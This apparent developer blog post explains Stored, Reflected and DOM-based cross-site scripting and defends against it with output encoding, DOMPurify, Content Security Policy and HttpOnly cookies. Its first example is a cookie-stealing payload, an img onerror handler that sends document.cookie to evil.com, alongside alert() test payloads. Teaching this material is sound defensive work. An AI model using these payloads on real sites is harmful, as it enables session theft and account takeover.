WebPublished 6/23/2025

XSS: Cross-Site Scripting in the Browser

How XSS lets attackers run malicious scripts in someone else's browser, the differences between Stored, Reflected, and DOM-based XSS, and what frontend and backend both need to do to actually stop it

If you've ever built a comment section or any feature that takes user input, you've probably heard the warning: "never trust user input." The classic threat behind that warning is XSS. Let's dig into what XSS actually is, how attackers sneak scripts into your pages, and how you stop them.

What does XSS stand for?

XSS stands for Cross-Site Scripting. Alphabetically it should really be "CSS," but that already meant Cascading Style Sheets, so the industry settled on XSS instead.

The core idea is simple: an attacker gets their own JavaScript to run in someone else's browser, under someone else's identity. Both halves matter — someone else's browser, someone else's identity. Think of your site as a building, and a logged-in user is holding a keycard (their cookie or session). XSS isn't the attacker breaking into the building themselves — it's tricking a system the building already trusts into copying that keycard for them. Because the code runs from your own domain, the browser has no reason to be suspicious — as far as it's concerned, this is just your app doing its thing.

That's also why XSS gets discussed alongside CSRF, even though they're quite different: CSRF forges a request on the user's behalf without ever injecting new code into their browser. XSS actually runs code you never wrote, inside the user's own browser — which usually makes it more dangerous, since the attacker can read almost anything on the page: cookies, form data, even sensitive content rendered on screen.

A minimal example

Say you've built a comment section, and your frontend drops whatever the backend returns straight into the page:

js
// Comment content returned by the backend, with zero sanitization
const comment = '<img src=x onerror="fetch(`https://evil.com/steal?cookie=${document.cookie}`)">'
 
// The frontend inserts it directly into the DOM
document.getElementById('comment-list').innerHTML += comment

That comment looks like a broken image, but onerror fires whenever the image fails to load — and it runs whatever JavaScript sits inside it. When the browser parses this as real HTML, onerror triggers and quietly ships the current user's document.cookie off to the attacker's server. The user just opened a comment section. They didn't do anything that looked remotely suspicious.

The problem was never the user — it's that you treated their input as your own code.

Three flavors of XSS

XSS is usually split into three categories, based on how the malicious script reaches the victim's browser.

Stored XSS

The comment example above is textbook Stored XSS. The attacker's payload gets saved to the database, and it runs for every single person who later views that comment. This is the most damaging variant — there's no need to trick anyone into clicking a link. Just browsing the page normally is enough to get hit, and every future visitor is affected too.

Reflected XSS

This one never touches the database. Instead, the server takes a request parameter and reflects it straight back into the page. A search feature is a classic setup:

js
// Assume the server uses a template engine that echoes the query string back as-is
// URL: https://myapp.com/search?q=<script>alert(document.cookie)</script>
res.send(`<h1>Search results: ${req.query.q}</h1>`)

The attacker wraps a URL like this — with the payload baked into the query string — to look legitimate, then gets the victim to click it via email or a social message. Because the link genuinely points at your real domain, victims rarely think twice. The script only executes for that one request and is never stored anywhere, which is why it's called "reflected."

DOM-based XSS

The first two both pass through the server at some point. DOM-based XSS happens entirely on the frontend — the server never even sees the problem. A common source is reading straight from the URL and feeding it into a dangerous DOM API:

js
// Read from the URL hash and drop it straight into innerHTML
// URL: https://myapp.com/#<img src=x onerror=alert(1)>
const name = location.hash.slice(1)
document.getElementById('greeting').innerHTML = `Hello, ${name}`

None of this data is ever sent to the server — the browser reads the URL, builds the malicious HTML, and executes it, all on its own. That means server-side defenses like a WAF inspecting request bodies are completely blind to it. The only place to catch this is in your frontend code.

Why is XSS so dangerous?

Once an attacker's script runs on your page, popping an alert is the least of your worries:

  • Read document.cookie and steal the session to impersonate the user
  • Listen to form inputs and capture credentials or credit card numbers
  • Fire requests as the logged-in user — transferring money, changing account details
  • Rewrite the page to show a convincing fake login form
  • Chain into further browser exploits to expand the attack

The common thread: all of this happens under the identity of a "legitimate user," which makes it nearly impossible to spot from backend access logs alone.

Defense: encode on output

The root cause of XSS is treating data as code. So the most fundamental defense is escaping (also called encoding) — converting characters that could be interpreted as HTML tags into plain text. < becomes &lt;, > becomes &gt;, and so on.

Most modern frameworks already do this by default. React, for example:

js
// React treats strings as plain text by default — it won't parse them as HTML
function Comment({ text }) {
  return <p>{text}</p>
}

Even if text contains <script>, React just renders it as literal text — it never actually executes. The real danger comes from the APIs that deliberately bypass this protection:

js
// dangerouslySetInnerHTML is named that way for a reason: it's telling you this is dangerous
function Comment({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />
}

Vue's v-html and vanilla JavaScript's innerHTML work the same way. Whenever you see one of these APIs, treat it as a red flag: whatever goes in there needs to already be safe and trusted — never raw user input.

If you genuinely need to allow some HTML in user input (a rich-text editor, say), don't hand-roll your own filtering rules. Use a mature sanitization library like DOMPurify instead:

js
import DOMPurify from 'dompurify'
 
// Sanitize first — keep only allowed tags and attributes, strip everything else
const safeHtml = DOMPurify.sanitize(userInput)
element.innerHTML = safeHtml

Defense: add a Content Security Policy

Even if your frontend gets encoding 100% right, you can add another layer of defense at the browser level: Content Security Policy (CSP). CSP lets you use an HTTP header to tell the browser which sources are allowed to execute scripts on this page at all.

Content-Security-Policy: script-src 'self' https://trusted-cdn.com

This header says only scripts loaded from your own domain and trusted-cdn.com are allowed to run. Even if an attacker manages to inject a <script> tag into the page, the browser refuses to execute it and logs a CSP violation to the console instead. CSP doesn't replace output encoding, but it's a solid last line of defense for whatever slips through the cracks.

Defense: make cookies unreachable

One of the most common goals of XSS is stealing cookies — and you can defend against that at the cookie level itself. When the server sets a cookie, add the HttpOnly attribute:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

HttpOnly means the cookie never shows up in document.cookie at all — JavaScript simply can't read it. So even if the page does get hit with XSS, the attacker still can't steal the session. Secure ensures the cookie is only ever sent over HTTPS, and SameSite cuts down the risk of the cookie tagging along on cross-site requests. Together, these attributes assume that something on the frontend might eventually go wrong, and limit the blast radius when it does.

Wrapping up

At its core, XSS happens when user input gets mistaken for code you wrote yourself. Based on how the malicious script gets into the browser, it splits into three types: Stored XSS, which lives in the database and hits every future visitor; Reflected XSS, which relies on tricking someone into clicking a crafted URL; and DOM-based XSS, which happens entirely on the frontend, invisible to the server. There's no single fix — defense is about layering: encode data on output, sanitize with DOMPurify when you actually need to render HTML, restrict script sources with CSP, and lock cookies down with HttpOnly.